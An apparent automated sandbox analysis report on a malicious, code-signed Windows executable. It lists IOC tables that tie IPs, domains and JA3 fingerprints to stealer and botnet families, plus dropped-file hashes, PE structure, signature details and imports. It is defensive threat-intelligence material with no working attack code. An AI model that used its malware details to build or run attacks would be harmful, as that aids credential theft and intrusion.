	172.104.150.66.ps1	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	VertusinstruccionesFedEX_66521.zip	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	UjbjOP.ps1	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	I9xuKI2p2B.ps1	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	licarisan_api.exe	Get hash	malicious	Icarus	Browse	ipinfo.io/ip
	build.exe	Get hash	malicious	Unknown	Browse	ipinfo.io/ip
	YjcgpfVBcm.bat	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	lePDF.cmd	Get hash	malicious	Unknown	Browse	ipinfo.io/json
	6Mpsoq1.php.ps1	Get hash	malicious	Unknown	Browse	ipinfo.io/json
172.67.74.152	2b7cu0KwZl.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	Zc9eO57fgF.elf	Get hash	malicious	Unknown	Browse	api.ipify.org/
	67065b4c84713_Javiles.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/
	Yc9hcFC1ux.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	4F08j2Rmd9.bin	Get hash	malicious	Xmrig	Browse	api.ipify.org/
	y8tCHz7CwC.bin	Get hash	malicious	Xmrig	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	Unknown	Browse	api.ipify.org/
	file.exe	Get hash	malicious	LummaC, PrivateLoader, Stealc, Vidar	Browse	api.ipify.org/
	file.exe	Get hash	malicious	RDPWrap Tool	Browse	api.ipify.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ipinfo.io	SystemCoreHelper.dll	Get hash	malicious	LummaC Stealer	Browse	34.117.59.81
	y.bat	Get hash	malicious	Braodo	Browse	34.117.59.81
	https://fxwf9-53194.portmap.io:53194/?x=sb232111	Get hash	malicious	Unknown	Browse	34.117.59.81
	https://trimmer.to:443/GWHMY	Get hash	malicious	HTMLPhisher	Browse	34.117.59.81
	bose18mkt.bat	Get hash	malicious	Abobus Obfuscator	Browse	34.117.59.81
	hnbose1711.bat	Get hash	malicious	Abobus Obfuscator	Browse	34.117.59.81
	LzmJLVB41K.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	34.117.59.81
	2h2xLB9h1L.lnk	Get hash	malicious	Abobus Obfuscator	Browse	34.117.59.81
	bose2scut18.bat	Get hash	malicious	Abobus Obfuscator	Browse	34.117.59.81
	18cut04.bat	Get hash	malicious	Abobus Obfuscator	Browse	34.117.59.81
api.ipify.org	zapret.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	313e4225be01a2f968dd52e4e8c0b9fd08c906289779b.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	unturnedHack.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.13.205
	https://sendbot.me/seuemprestimogarantido	Get hash	malicious	Unknown	Browse	172.67.74.152
	https://sendbot.me/seuemprestimogarantido	Get hash	malicious	Unknown	Browse	172.67.74.152
	file.exe	Get hash	malicious	LummaC, Amadey, CredGrabber, Credential Flusher, Cryptbot, LummaC Stealer, Meduza Stealer	Browse	172.67.74.152
	file.exe	Get hash	malicious	CredGrabber, Meduza Stealer	Browse	104.26.12.205
	Documenti di spedizione 000293949040405959000.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205
	RFQ_PO_N39859JFK_ORDER_SPECIFICATIONS_OM.bat	Get hash	malicious	AgentTesla, DBatLoader	Browse	104.26.13.205
	MV BBG MUARA Ship's Particulars.pdf.scr.exe	Get hash	malicious	AgentTesla	Browse	104.26.12.205

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	2aiDfP0r7h.lnk	Get hash	malicious	Unknown	Browse	104.16.230.132
	OVtsE8ZkBE.lnk	Get hash	malicious	Unknown	Browse	104.16.231.132
	file.exe	Get hash	malicious	Unknown	Browse	172.67.162.84
	zapret.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	IaslcsMo.txt.ps1	Get hash	malicious	LummaC Stealer	Browse	172.67.75.40
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	7jBzTH9FXQ.exe	Get hash	malicious	Unknown	Browse	104.18.167.46
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Clipboard Hijacker, Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	34.116.198.130
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Cryptbot	Browse	34.116.198.130
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.117.188.166
VENUS-INTERNET-ASGB	yakuza.i586.elf	Get hash	malicious	Mirai	Browse	217.138.92.9
	kNp6KbvVoz.exe	Get hash	malicious	Stealc	Browse	194.15.46.65
	uxnkmJzTjK.exe	Get hash	malicious	Stealc	Browse	194.15.46.65
	jXMyT7jrfR.exe	Get hash	malicious	Stealc	Browse	194.15.46.65
	W9f3Fx6sL4.exe	Get hash	malicious	Stealc, Vidar	Browse	194.15.46.65
	nGmqbXROga.exe	Get hash	malicious	Stealc	Browse	194.15.46.65
	t4GNf3V8mp.exe	Get hash	malicious	Stealc, Vidar	Browse	194.15.46.65
	357oRnNepg.elf	Get hash	malicious	Unknown	Browse	217.138.142.250
	2jtSIERpll.elf	Get hash	malicious	Mirai	Browse	217.138.190.197
	luO0gwRNZ1.elf	Get hash	malicious	Mirai	Browse	217.138.190.173
CLOUDFLARENETUS	2aiDfP0r7h.lnk	Get hash	malicious	Unknown	Browse	104.16.230.132
	OVtsE8ZkBE.lnk	Get hash	malicious	Unknown	Browse	104.16.231.132
	file.exe	Get hash	malicious	Unknown	Browse	172.67.162.84
	zapret.exe	Get hash	malicious	Unknown	Browse	104.26.13.205
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	IaslcsMo.txt.ps1	Get hash	malicious	LummaC Stealer	Browse	172.67.75.40
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84
	7jBzTH9FXQ.exe	Get hash	malicious	Unknown	Browse	104.18.167.46
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.162.84

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	DESIGN LOGO.exe	Get hash	malicious	AgentTesla	Browse	34.117.59.81 172.67.74.152
	ListaItensVistoriaCorpodeBombeirosObrigatorio.msi	Get hash	malicious	AteraAgent	Browse	34.117.59.81 172.67.74.152
	registration.msi	Get hash	malicious	AteraAgent	Browse	34.117.59.81 172.67.74.152
	portal.msi	Get hash	malicious	AteraAgent	Browse	34.117.59.81 172.67.74.152
	Digital.msi	Get hash	malicious	AteraAgent	Browse	34.117.59.81 172.67.74.152
	file_66efd0132ceed.msi	Get hash	malicious	AteraAgent	Browse	34.117.59.81 172.67.74.152
	Guidelines_for_Citizen_Safety.msi	Get hash	malicious	AteraAgent	Browse	34.117.59.81 172.67.74.152
	e0#U05ea.msi	Get hash	malicious	AteraAgent	Browse	34.117.59.81 172.67.74.152
	ReceitaFederal-consulta-yFZMA-45896_v.3_35687.msi	Get hash	malicious	AteraAgent	Browse	34.117.59.81 172.67.74.152
	file.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	34.117.59.81 172.67.74.152
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	Unknown	Browse	172.67.178.191
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.178.191
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	172.67.178.191
	IaslcsMo.txt.ps1	Get hash	malicious	LummaC Stealer	Browse	172.67.178.191
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.178.191
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.178.191
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	172.67.178.191
	ZjH6H6xqo7.exe	Get hash	malicious	LummaC	Browse	172.67.178.191
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.178.191
	file.exe	Get hash	malicious	LummaC	Browse	172.67.178.191

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.6599547231656377
Encrypted:	false
SSDEEP:	3:Nllluly/:NllU
MD5:	CD58C7193AF7B74B8F5AB012CEAA83D1
SHA1:	48F5F741531E2611CC155853BB9BFCF470AD2262
SHA-256:	AA0870FDCF90E60FC4555437FED5E92D49DE3A7C81E2E66D5763B25CF58EE4D7
SHA-512:	B2F920ED07178691B4568D9459954BE281284DBA8E5DAC76147764180AE78306E32630098A1EA2F8D5721E56B87EE80E6C96BF73E96F44D3A19F15759613F3CF
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2voyaqct.rei.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fwhry1nm.cbd.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\decrypted_app_1.exe

Download File

Process:	C:\Users\user\Desktop\mDHwap5GlV.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7866248
Entropy (8bit):	6.942634230887094
Encrypted:	false
SSDEEP:	196608:4xF2dyN8pNWuBGT+UvkhaotpwZEOsj1TtiXJdmrCf6Evgba:4n2I2XaT+UjZpsBTtiqCfRoba
MD5:	8AE631C4645097BB7612CE112E70BF35
SHA1:	FE8D23FA9DE0CD7470BD8CB75952DE92D93A9A3E
SHA-256:	BC56D8FE79D834E34F176810EE7B70257A92521A1B368E6CDA76494B5C9CDECA
SHA-512:	B0CA02C082F53FD54E71C6FF38F20C4A47BD161A1D0B64745BDBD676F65ACE7EF50D74F9DAAF68D1DB37FB9456DB9860963FFD02DF489FC4DB19DE387704B1E4
Malicious:	true
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B*.................6N..4#......=N.......T...@...........................x.......r...@......@........................... W..@....Z...............w..)....W..I............................W.....................................................CODE......T.......T................. ..`DATA..........T.......T.............@...BSS...........V......`V..................idata...@... W..B...`V.............@....tls....0....pW.......V..................rdata........W.......V.............@..P.reloc...I....W..J....V.............@..P.rsrc.........Z.......Y.............@..P................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.8118607225074195
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	mDHwap5GlV.exe
File size:	62'920'824 bytes
MD5:	ff8c1b17f334e2a1ef11429bbca0351f
SHA1:	1881b5d505c081056241368e37edb69be16a6eae
SHA256:	1055064ac9b506a5b74090f71c4fabbe4bf077bce9bd80bfce9671e723f50cfc
SHA512:	0dc212ef9d6b0dc1dd4bef38c3e5b4e43adaf11a9bf1c26576ecefd5856e6ad18fd618325a9983addfd6c2867941361c1ed7fb0137bee22fc35e65f35b3ee599
SSDEEP:	786432:Pw7Sb1xouLAAGJ4zJ2R/KgXtQ4peGYk8qcO7LzZ:Pw7SbroKV2/eG/cI
TLSH:	13D7BF12B3C88636E9AE067585BAF665D3BDAD110335D7CB0184FA9B28733D26D312D3
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........EuJ.$...$...$...\...$..U....$..U....$..U....$...\...$...\...$...$..a%..d....$..d....&..d....$..d....$..d....$..Rich.$.........

File Icon


Icon Hash:	18c0d8d0d0d4d400

Static PE Info

General

Entrypoint:	0x8ced30
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x6647965C [Fri May 17 17:39:40 2024 UTC]
TLS Callbacks:	0x8ce340, 0x8ce9e0
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	aba8a24011fe6f23c973864173d08899

Authenticode Signature

Signature Valid:	true
Signature Issuer:	CN=GlobalSign GCC R45 EV CodeSigning CA 2020, O=GlobalSign nv-sa, C=BE
Signature Validation Error:	The operation completed successfully
Error Number:	0
Not Before, Not After	11/03/2024 03:54:22 12/03/2025 03:54:22
Subject Chain	CN="Nine Rivers Sky Roar Commit Trade Co., Ltd.", O="Nine Rivers Sky Roar Commit Trade Co., Ltd.", L=Jiujiang, S=Jiangxi, C=CN, OID.1.3.6.1.4.1.311.60.2.1.1=Jiujiang, OID.1.3.6.1.4.1.311.60.2.1.2=Jiangxi, OID.1.3.6.1.4.1.311.60.2.1.3=CN, SERIALNUMBER=91360402MACHADCC93, OID.2.5.4.15=Private Organization
Version:	3
Thumbprint MD5:	4E0565C4F6C07E840699BFFCEE8DD860
Thumbprint SHA-1:	2DAE7C97B1CE082B6FA5B6CC0786BAD87AFEF563
Thumbprint SHA-256:	79B622C069BAB2F8C1A6D838E61F062D8486C32D469980AF9BF7BC2E0DF9062F
Serial:	01F61D5311CEDD61DEE28CAA

Entrypoint Preview

Instruction
call 00007FF4008719EBh
jmp 00007FF4008713FDh
int3
int3
int3
int3
int3
int3
push 008CFC10h
push dword ptr fs:[00000000h]
mov eax, dword ptr [esp+10h]
mov dword ptr [esp+10h], ebp
lea ebp, dword ptr [esp+10h]
sub esp, eax
push ebx
push esi
push edi
mov eax, dword ptr [00A5C040h]
xor dword ptr [ebp-04h], eax
xor eax, ebp
push eax
mov dword ptr [ebp-18h], esp
push dword ptr [ebp-08h]
mov eax, dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFEh
mov dword ptr [ebp-08h], eax
lea eax, dword ptr [ebp-10h]
mov dword ptr fs:[00000000h], eax
ret
push ebp
mov ebp, esp
and dword ptr [00A615F0h], 00000000h
sub esp, 24h
or dword ptr [00A5C090h], 01h
push 0000000Ah
call dword ptr [00923338h]
test eax, eax
je 00007FF400871742h
and dword ptr [ebp-10h], 00000000h
xor eax, eax
push ebx
push esi
push edi
xor ecx, ecx
lea edi, dword ptr [ebp-24h]
push ebx
cpuid
mov esi, ebx
pop ebx
nop
mov dword ptr [edi], eax
mov dword ptr [edi+04h], esi
mov dword ptr [edi+08h], ecx
xor ecx, ecx
mov dword ptr [edi+0Ch], edx
mov eax, dword ptr [ebp-24h]
mov edi, dword ptr [ebp-20h]
mov dword ptr [ebp-0Ch], eax
xor edi, 756E6547h
mov eax, dword ptr [ebp-18h]
xor eax, 49656E69h
mov dword ptr [ebp-04h], eax
mov eax, dword ptr [ebp-1Ch]
xor eax, 6C65746Eh
mov dword ptr [ebp-08h], eax
xor eax, eax
inc eax
push ebx
cpuid
mov esi, ebx

Rich Headers

Programming Language:

[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x6590c0	0xc4	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x659184	0x168	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x681000	0x14f4e8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x3bfef48	0x2930
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7d1000	0x3fbf4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x5f1f30	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x5f1fc0	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x5288e0	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x523000	0x724	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x658eb8	0x60	.rdata
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5202ba	0x520400	0271f1090d04373bb8f733f5ae3c06f0	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.CLR_UEF	0x522000	0x44	0x200	25e22a4b22bbd7937052841654b70e51	False	0.134765625	data	0.9617583915731932	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x523000	0x13886a	0x138a00	d555dc0d2f90e498565c180f4d0f741d	False	0.36802076044582166	data	5.0787461397855616	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x65c000	0x12d44	0x5400	c5c19140c67e5d2b495b633bff112983	False	0.2589750744047619	Matlab v4 mat-file (little endian) \377\377\377\377, numeric, rows 0, columns 0	3.6671940889685763	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.didat	0x66f000	0x1c	0x200	e3df865f7b3317ce27fdb3c83d08017e	False	0.0546875	data	0.25996289920834015	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
_RDATA	0x670000	0x10f10	0x11000	211089d7d672e1712b48c26d0bdc0a1b	False	0.16291360294117646	data	5.364619170209927	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x681000	0x14f4e8	0x14f600	77b37ab234d1594445653d7d92d53834	False	0.3792651358087961	data	6.133405157585405	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x7d1000	0x3fbf4	0x3fc00	4674daa7f29d78e04032dd8467961550	False	0.5970435049019608	data	6.676844709798884	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x6812ac	0x15e4	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	0.9038187009279086
RT_ICON	0x682890	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536	0.027460664852715012
RT_ICON	0x6930b8	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384	0.057569674067076054
RT_ICON	0x6972e0	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	0.08402489626556017
RT_ICON	0x699888	0x1a68	Device independent bitmap graphic, 40 x 80 x 32, image size 6400	0.09822485207100591
RT_ICON	0x69b2f0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4096	0.12664165103189493
RT_ICON	0x69c398	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2304	0.17745901639344264
RT_ICON	0x69cd20	0x6b8	Device independent bitmap graphic, 20 x 40 x 32, image size 1600	0.2058139534883721
RT_ICON	0x69d3d8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1024	0.2641843971631206
RT_RCDATA	0x69d840	0x24	data	1.1666666666666667
RT_RCDATA	0x69d864	0x132610	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows	0.412567138671875
RT_GROUP_ICON	0x7cfe74	0x84	data	0.7196969696969697
RT_VERSION	0x7cfef8	0x324	data	0.39427860696517414
RT_MANIFEST	0x7d021c	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
KERNEL32.dll	RaiseException, FreeLibrary, RaiseFailFastException, GetExitCodeProcess, TerminateProcess, UnhandledExceptionFilter, SetUnhandledExceptionFilter, AddVectoredExceptionHandler, MultiByteToWideChar, GetTickCount, GetCurrentProcessId, FlushInstructionCache, QueryPerformanceFrequency, QueryPerformanceCounter, InterlockedPushEntrySList, InterlockedFlushSList, InitializeSListHead, GetTickCount64, DuplicateHandle, QueueUserAPC, WaitForSingleObjectEx, SetThreadPriority, GetThreadPriority, ResumeThread, GetCurrentThreadId, TlsAlloc, GetCurrentThread, CreateThread, GetModuleHandleW, WaitForMultipleObjectsEx, SignalObjectAndWait, SetThreadStackGuarantee, VirtualQuery, WriteFile, GetStdHandle, GetConsoleOutputCP, MapViewOfFileEx, UnmapViewOfFile, GetStringTypeExW, SetEvent, GetCurrentProcessorNumber, GlobalMemoryStatusEx, CreateIoCompletionPort, PostQueuedCompletionStatus, GetQueuedCompletionStatus, InterlockedPopEntrySList, GetCurrentProcessorNumberEx, ExitProcess, Sleep, CreateMemoryResourceNotification, GetProcessAffinityMask, SetThreadIdealProcessorEx, GetThreadIdealProcessorEx, GetLargePageMinimum, VirtualUnlock, ResetWriteWatch, GetWriteWatch, GetLogicalProcessorInformation, SetThreadGroupAffinity, SetThreadAffinityMask, IsProcessInJob, QueryInformationJobObject, K32GetProcessMemoryInfo, VirtualAlloc, VirtualFree, VirtualProtect, SleepEx, SwitchToThread, CloseThreadpoolTimer, CreateThreadpoolTimer, SetThreadpoolTimer, ReadFile, GetFileSize, GetEnvironmentVariableW, SetEnvironmentVariableW, CreateEventW, ResetEvent, CreateSemaphoreExW, ReleaseSemaphore, CreateMutexW, ReleaseMutex, GetThreadContext, WaitForSingleObject, SetThreadContext, GetEnabledXStateFeatures, InitializeContext, CopyContext, SetXStateFeaturesMask, WerRegisterRuntimeExceptionModule, GetSystemDefaultLCID, GetUserDefaultLCID, OutputDebugStringA, RtlUnwind, HeapAlloc, HeapFree, GetProcessHeap, HeapCreate, HeapDestroy, GetEnvironmentStringsW, FreeEnvironmentStringsW, FormatMessageW, GetACP, LCMapStringEx, LocalFree, VerSetConditionMask, VerifyVersionInfoW, IsWow64Process, QueryThreadCycleTime, VirtualAllocExNuma, GetNumaProcessorNodeEx, GetNumaHighestNodeNumber, GetSystemTimes, GetSystemTimeAsFileTime, GetModuleFileNameW, CreateProcessW, GetCPInfo, LoadLibraryExW, CreateFileW, GetFileAttributesExW, GetTempPathW, GetCurrentDirectoryW, GetFullPathNameW, LoadLibraryExA, OpenEventW, ExitThread, HeapReAlloc, CreateNamedPipeA, WaitForMultipleObjects, DisconnectNamedPipe, CreateFileA, CancelIoEx, GetOverlappedResult, ConnectNamedPipe, FlushFileBuffers, SetFilePointer, CreateFileMappingW, MapViewOfFile, GetActiveProcessorGroupCount, GetSystemTime, SetConsoleCtrlHandler, GetLocaleInfoEx, GetUserDefaultLocaleName, LoadLibraryW, CreateDirectoryW, RemoveDirectoryW, GetFileSizeEx, FindFirstFileExW, FindNextFileW, FindClose, LoadLibraryA, EncodePointer, GetEnvironmentVariableA, DecodePointer, ReleaseSRWLockExclusive, CloseHandle, TlsSetValue, TlsGetValue, GetSystemInfo, GetCurrentProcess, ReadProcessMemory, OutputDebugStringW, IsDebuggerPresent, LeaveCriticalSection, EnterCriticalSection, DeleteCriticalSection, InitializeCriticalSection, GetCommandLineW, GetProcAddress, GetModuleHandleExW, SetErrorMode, FlushProcessWriteBuffers, SetLastError, DebugBreak, GetLastError, SuspendThread, WideCharToMultiByte, InitializeCriticalSectionEx, GetStringTypeW, GetExitCodeThread, TryAcquireSRWLockExclusive, TlsFree, InitializeCriticalSectionAndSpinCount, AcquireSRWLockExclusive, WakeAllConditionVariable, SleepConditionVariableSRW, IsProcessorFeaturePresent, CreateFileMappingA
ADVAPI32.dll	RegGetValueW, SetKernelObjectSecurity, GetSidSubAuthorityCount, GetSidSubAuthority, GetTokenInformation, DeregisterEventSource, ReportEventW, RegisterEventSourceW, RegQueryValueExW, RegOpenKeyExW, RegCloseKey, EventRegister, AdjustTokenPrivileges, OpenProcessToken, LookupPrivilegeValueW, SetThreadToken, RevertToSelf, OpenThreadToken, EventWriteTransfer, EventWrite
ole32.dll	CoWaitForMultipleHandles, CoRegisterInitializeSpy, CoInitializeEx, CoCreateGuid, CoTaskMemAlloc, CoTaskMemFree, CoReleaseMarshalData, CoUninitialize, CLSIDFromProgID, CoGetMarshalSizeMax, CoMarshalInterface, CoUnmarshalInterface, CoGetObjectContext, CoGetContextToken, CoGetClassObject, CoCreateFreeThreadedMarshaler, CreateStreamOnHGlobal, IIDFromString, CoRevokeInitializeSpy, StringFromGUID2
OLEAUT32.dll	SafeArrayGetDim, SafeArrayGetLBound, SafeArrayDestroy, QueryPathOfRegTypeLib, LoadTypeLibEx, SafeArrayGetVartype, VariantChangeType, VariantChangeTypeEx, VariantClear, VariantInit, VarCyFromDec, SafeArrayAllocDescriptorEx, SysAllocStringLen, SafeArraySetRecordInfo, SafeArrayAllocData, SafeArrayGetElemsize, SysStringByteLen, SysAllocStringByteLen, SafeArrayCreateVector, SafeArrayPutElement, LoadRegTypeLib, CreateErrorInfo, SysStringLen, SetErrorInfo, GetErrorInfo, SysFreeString, GetRecordInfoFromTypeInfo, SysAllocString
USER32.dll	MessageBoxW, LoadStringW
SHELL32.dll	ShellExecuteW
api-ms-win-crt-string-l1-1-0.dll	_wcsnicmp, strlen, wcscpy_s, _strdup, wcsncpy_s, _wcsicmp, strcmp, strcat_s, strncpy_s, isspace, strtok_s, strcpy_s, _strnicmp, isalpha, strcspn, wcsncmp, isdigit, toupper, wcsnlen, _stricmp, iswspace, strncat_s, isupper, wcsncat_s, wcstok_s, _wcsdup, tolower, towlower, islower, wcscat_s, towupper, __strncnt, strnlen, strncmp, iswascii, iswupper
api-ms-win-crt-stdio-l1-1-0.dll	fopen, _flushall, __stdio_common_vswprintf, __stdio_common_vfwprintf, fputws, fputwc, _get_stream_buffer_pointers, _fseeki64, fread, fsetpos, _set_fmode, ungetc, fgetpos, fgetc, fputc, _wfsopen, fputs, __p__commode, __stdio_common_vsnprintf_s, __stdio_common_vsscanf, __stdio_common_vsnwprintf_s, fgets, setvbuf, fflush, _setmode, __acrt_iob_func, _dup, _fileno, ftell, fseek, _wfopen, fclose, __stdio_common_vfprintf, __stdio_common_vsprintf_s, fwrite
api-ms-win-crt-runtime-l1-1-0.dll	_invalid_parameter_noinfo_noreturn, _beginthreadex, _register_thread_local_exe_atexit_callback, _controlfp_s, _c_exit, _invalid_parameter_noinfo, _errno, _wcserror_s, __p___wargv, __p___argc, _exit, _initterm_e, _initterm, _get_initial_wide_environment, _initialize_wide_environment, _configure_wide_argv, terminate, _set_app_type, _seh_filter_exe, _cexit, _crt_atexit, abort, exit, _initialize_onexit_table, _register_onexit_function
